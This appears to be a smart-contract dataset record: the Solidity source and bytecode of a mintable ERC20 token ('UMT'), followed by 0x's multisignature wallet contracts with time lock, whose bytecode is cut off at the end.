mapping (address => bool) public emitters;
mapping (address => mapping (address => uint)) internal allowed;
constructor() Ownable() public {
name = "Universal Mobile Token";
symbol = "UMT";
decimals = 18;
// Make the Owner also an emitter
emitters[msg.sender] = true;
}
/**
* @dev Finish minting process
*/
function finishMinting() public onlyOwner {
mintingIsFinished = true;
transferIsPossible = true;
}
/**
* @dev Send coins
* throws on any error rather then return a false flag to minimize
* user errors
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful
*/
function transfer(address _to, uint _value) public returns (bool success) {
// Make transfer only if transfer is possible
require(transferIsPossible);
require(_to != address(0) && _to != address(this));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Allows another account/contract to spend some tokens on its behalf
* throws on any error rather then return a false flag to minimize user errors
*
* also, to minimize the risk of the approve/transferFrom attack vector
* approve has to be called twice in 2 separate transactions - once to
* change the allowance to 0 and secondly to change it to the new allowance
* value
*
* @param _spender approved address
* @param _value allowance amount
*
* @return true if the approval was successful
*/
function approve(address _spender, uint _value) public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev An account/contract attempts to get the coins
* throws on any error rather then return a false flag to minimize user errors
*
* @param _from source address
* @param _to target address
* @param _value amount
*
* @return true if the transfer was successful
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
// Make transfer only if transfer is possible
require(transferIsPossible);
require(_to != address(0) && _to != address(this));
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Add an emitter account
*
* @param _emitter emitter's address
*/
function addEmitter(address _emitter) public onlyOwner {
emitters[_emitter] = true;
}
/**
* @dev Remove an emitter account
*
* @param _emitter emitter's address
*/
function removeEmitter(address _emitter) public onlyOwner {
emitters[_emitter] = false;
}
/**
* @dev Mint token in batches
*
* @param _adresses token holders' adresses
* @param _values token holders' values
*/
function batchMint(address[] _adresses, uint[] _values) public onlyEmitter {
require(_adresses.length == _values.length);
for (uint i = 0; i < _adresses.length; i++) {
require(minted(_adresses[i], _values[i]));
}
}
/**
* @dev Transfer token in batches
*
* @param _adresses token holders' adresses
* @param _values token holders' values
*/
function batchTransfer(address[] _adresses, uint[] _values) public {
require(_adresses.length == _values.length);
for (uint i = 0; i < _adresses.length; i++) {
require(transfer(_adresses[i], _values[i]));
}
}
/**
* @dev Burn Tokens
* @param _from token holder address which the tokens will be burnt
* @param _value number of tokens to burn
*/
function burn(address _from, uint _value) public onlyEmitter {
// Burn tokens only if minting stage is not finished
require(!mintingIsFinished);
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
*
* @param _tokenOwner the address which owns the funds
* @param _spender the address which will spend the funds
*
* @return the amount of tokens still avaible for the spender
*/
function allowance(address _tokenOwner, address _spender) public constant returns (uint remaining) {
return allowed[_tokenOwner][_spender];
}
/**
* @dev Function to check the amount of tokens that _tokenOwner has.
*
* @param _tokenOwner the address which owns the funds
*
* @return the amount of tokens _tokenOwner has
*/
function balanceOf(address _tokenOwner) public constant returns (uint balance) {
return balances[_tokenOwner];
}
function minted(address _to, uint _value) internal returns (bool) {
// Mint tokens only if minting stage is not finished
require(!mintingIsFinished);
balances[_to] = balances[_to].add(_value);
totalSupply = totalSupply.add(_value);
emit Transfer(address(0), _to, _value);
return true;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b257806318160ddd1461021757806319b3fa4b14610242578063235c279f1461028557806323b872dd146102c857806327e235e31461034d578063313ce567146103a457806337c75992146103cf57806368573107146103fe57806370a08231146104a75780637466b2d0146104fe5780637d64bcb41461052d57806388d695b2146105445780638da5cb5b146105ed57806395d89b41146106445780639dc29fac146106d4578063a9059cbb14610721578063dd62ed3e14610786578063f2fde38b146107fd578063f861746614610840575b600080fd5b34801561012e57600080fd5b5061013761089b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610939565b604051808215151515815260200191505060405180910390f35b34801561022357600080fd5b5061022c610ac0565b6040518082815260200191505060405180910390f35b34801561024e57600080fd5b50610283600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac6565b005b34801561029157600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7c565b005b3480156102d457600080fd5b50610333600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c32565b604051808215151515815260200191505060405180910390f35b34801561035957600080fd5b5061038e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f6c565b6040518082815260200191505060405180910390f35b3480156103b057600080fd5b506103b9610f84565b6040518082815260200191505060405180910390f35b3480156103db57600080fd5b506103e4610f8a565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b506104a56004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610f9d565b005b3480156104b357600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611071565b6040518082815260200191505060405180910390f35b34801561050a57600080fd5b506105136110ba565b604051808215151515815260200191505060405180910390f35b34801561053957600080fd5b506105426110cd565b005b34801561055057600080fd5b506105eb6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611160565b005b3480156105f957600080fd5b506106026111d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065057600080fd5b506106596111fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069957808201518184015260208101905061067e565b50505050905090810190601f1680156106c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106e057600080fd5b5061071f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b005b34801561072d57600080fd5b5061076c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611415565b604051808215151515815260200191505060405180910390f35b34801561079257600080fd5b506107e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061163f565b6040518082815260200191505060405180910390f35b34801561080957600080fd5b5061083e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c6565b005b34801561084c57600080fd5b50610881600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181b565b604051808215151515815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109315780601f1061090657610100808354040283529160200191610931565b820191906000526020600020905b81548152906001019060200180831161091457829003601f168201915b505050505081565b6000808214806109c557506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109d057600080fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2157600080fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bd757600080fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560019054906101000a900460ff161515610c4f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610cb857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1515610cc357600080fd5b610d1582600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183b90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610de782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183b90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb982600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60066020528060005260406000206000915090505481565b60035481565b600560009054906101000a900460ff1681565b600060011515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610ffe57600080fd5b8151835114151561100e57600080fd5b600090505b825181101561106c57611054838281518110151561102d57fe5b90602001906020020151838381518110151561104557fe5b90602001906020020151611872565b151561105f57600080fd5b8080600101915050611013565b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112857600080fd5b6001600560006101000a81548160ff0219169083151502179055506001600560016101000a81548160ff021916908315150217905550565b60008151835114151561117257600080fd5b600090505b82518110156111d0576111b8838281518110151561119157fe5b9060200190602002015183838151811015156111a957fe5b90602001906020020151611415565b15156111c357600080fd5b8080600101915050611177565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112905780601f1061126557610100808354040283529160200191611290565b820191906000526020600020905b81548152906001019060200180831161127357829003601f168201915b505050505081565b60011515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156112f757600080fd5b600560009054906101000a900460ff1615151561131357600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561136157600080fd5b6113b381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183b90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140b8160045461183b90919063ffffffff16565b6004819055505050565b6000600560019054906101000a900460ff16151561143257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561149b57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15156114a657600080fd5b6114f882600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183b90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158d82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561175d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60076020528060005260406000206000915054906101000a900460ff1681565b600082821115151561184957fe5b818303905092915050565b600080828401905083811015151561186857fe5b8091505092915050565b6000600560009054906101000a900460ff1615151561189057600080fd5b6118e282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061193a8260045461185490919063ffffffff16565b6004819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820be9acf5de4697cda7efa4407ba733b8e3a56898f5ceb70f74f02b66bb34d7c190029
|
{"success": true, "error": null, "results": {}}
| 4,027 |
0x01d9f4d104668cdc0b6d13c45dff5e15d58d8f28
|
/*
Copyright 2017 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.10;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c8bbbcadaea9a6e6afada7baafad88aba7a6bbada6bbb1bbe6a6adbc">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with time lock- Allows multiple parties to execute a transaction after a time lock has passed.
/// @author Amir Bandeali - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="fd9c90948fbdcd85ad8f9297989e89d39e9290">[email protected]</a>>
contract MultiSigWalletWithTimeLock is MultiSigWallet {
event ConfirmationTimeSet(uint indexed transactionId, uint confirmationTime);
event TimeLockChange(uint secondsTimeLocked);
uint public secondsTimeLocked;
mapping (uint => uint) public confirmationTimes;
modifier notFullyConfirmed(uint transactionId) {
require(!isConfirmed(transactionId));
_;
}
modifier fullyConfirmed(uint transactionId) {
require(isConfirmed(transactionId));
_;
}
modifier pastTimeLock(uint transactionId) {
require(block.timestamp >= confirmationTimes[transactionId] + secondsTimeLocked);
_;
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations, and time lock.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds.
function MultiSigWalletWithTimeLock(address[] _owners, uint _required, uint _secondsTimeLocked)
public
MultiSigWallet(_owners, _required)
{
secondsTimeLocked = _secondsTimeLocked;
}
/// @dev Changes the duration of the time lock for transactions.
/// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds.
function changeTimeLock(uint _secondsTimeLocked)
public
onlyWallet
{
secondsTimeLocked = _secondsTimeLocked;
TimeLockChange(_secondsTimeLocked);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
notFullyConfirmed(transactionId)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
if (isConfirmed(transactionId)) {
setConfirmationTime(transactionId, block.timestamp);
}
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
notFullyConfirmed(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
fullyConfirmed(transactionId)
pastTimeLock(transactionId)
{
Transaction storage tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
/*
* Internal functions
*/
/// @dev Sets the time of when a submission first passed.
function setConfirmationTime(uint transactionId, uint confirmationTime)
internal
{
confirmationTimes[transactionId] = confirmationTime;
ConfirmationTimeSet(transactionId, confirmationTime);
}
}
contract MultiSigWalletWithTimeLockExceptRemoveAuthorizedAddress is MultiSigWalletWithTimeLock {
address public TOKEN_TRANSFER_PROXY_CONTRACT;
modifier validRemoveAuthorizedAddressTx(uint transactionId) {
Transaction storage tx = transactions[transactionId];
require(tx.destination == TOKEN_TRANSFER_PROXY_CONTRACT);
require(isFunctionRemoveAuthorizedAddress(tx.data));
_;
}
/// @dev Contract constructor sets initial owners, required number of confirmations, time lock, and tokenTransferProxy address.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _secondsTimeLocked Duration needed after a transaction is confirmed and before it becomes executable, in seconds.
/// @param _tokenTransferProxy Address of TokenTransferProxy contract.
function MultiSigWalletWithTimeLockExceptRemoveAuthorizedAddress(
address[] _owners,
uint _required,
uint _secondsTimeLocked,
address _tokenTransferProxy)
public
MultiSigWalletWithTimeLock(_owners, _required, _secondsTimeLocked)
{
TOKEN_TRANSFER_PROXY_CONTRACT = _tokenTransferProxy;
}
/// @dev Allows execution of removeAuthorizedAddress without time lock.
/// @param transactionId Transaction ID.
function executeRemoveAuthorizedAddress(uint transactionId)
public
notExecuted(transactionId)
fullyConfirmed(transactionId)
validRemoveAuthorizedAddressTx(transactionId)
{
Transaction storage tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
/// @dev Compares first 4 bytes of byte array to removeAuthorizedAddress function signature.
/// @param data Transaction data.
/// @return Successful if data is a call to removeAuthorizedAddress.
function isFunctionRemoveAuthorizedAddress(bytes data)
public
constant
returns (bool)
{
bytes4 removeAuthorizedAddressSignature = bytes4(sha3("removeAuthorizedAddress(address)"));
for (uint i = 0; i < 4; i++) {
require(data[i] == removeAuthorizedAddressSignature[i]);
}
return true;
}
}
|
0x6060604052361561015d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101be578063173825d91461021e57806320ea8d86146102545780632f54bf6e146102745780633411c81c146102c257806337bd78a014610319578063547415251461033f578063553a48fd146103805780635711b311146103f25780637065cb4814610412578063784547a7146104485780637ad28c51146104805780638b51d13f146104a05780639ace38c2146104d4578063a0e67e2b146105cf578063a8abe69a14610644578063add1cbc5146106e6578063b5dc40c314610738578063b77bf600146107bb578063ba51a6df146107e1578063c01a8c8414610801578063c642747414610821578063d38f2d82146108b7578063d74f8edd146108eb578063dc8452cd14610911578063e20056e614610937578063ee22610b1461098c575b6101bc5b60003411156101b9573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b34156101c657fe5b6101dc60048080359060200190919050506109ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561022657fe5b610252600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109ec565b005b341561025c57fe5b6102726004808035906020019091905050610c94565b005b341561027c57fe5b6102a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e5e565b604051808215151515815260200191505060405180910390f35b34156102ca57fe5b6102ff600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e7e565b604051808215151515815260200191505060405180910390f35b341561032157fe5b610329610ead565b6040518082815260200191505060405180910390f35b341561034757fe5b61036a600480803515159060200190919080351515906020019091905050610eb3565b6040518082815260200191505060405180910390f35b341561038857fe5b6103d8600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061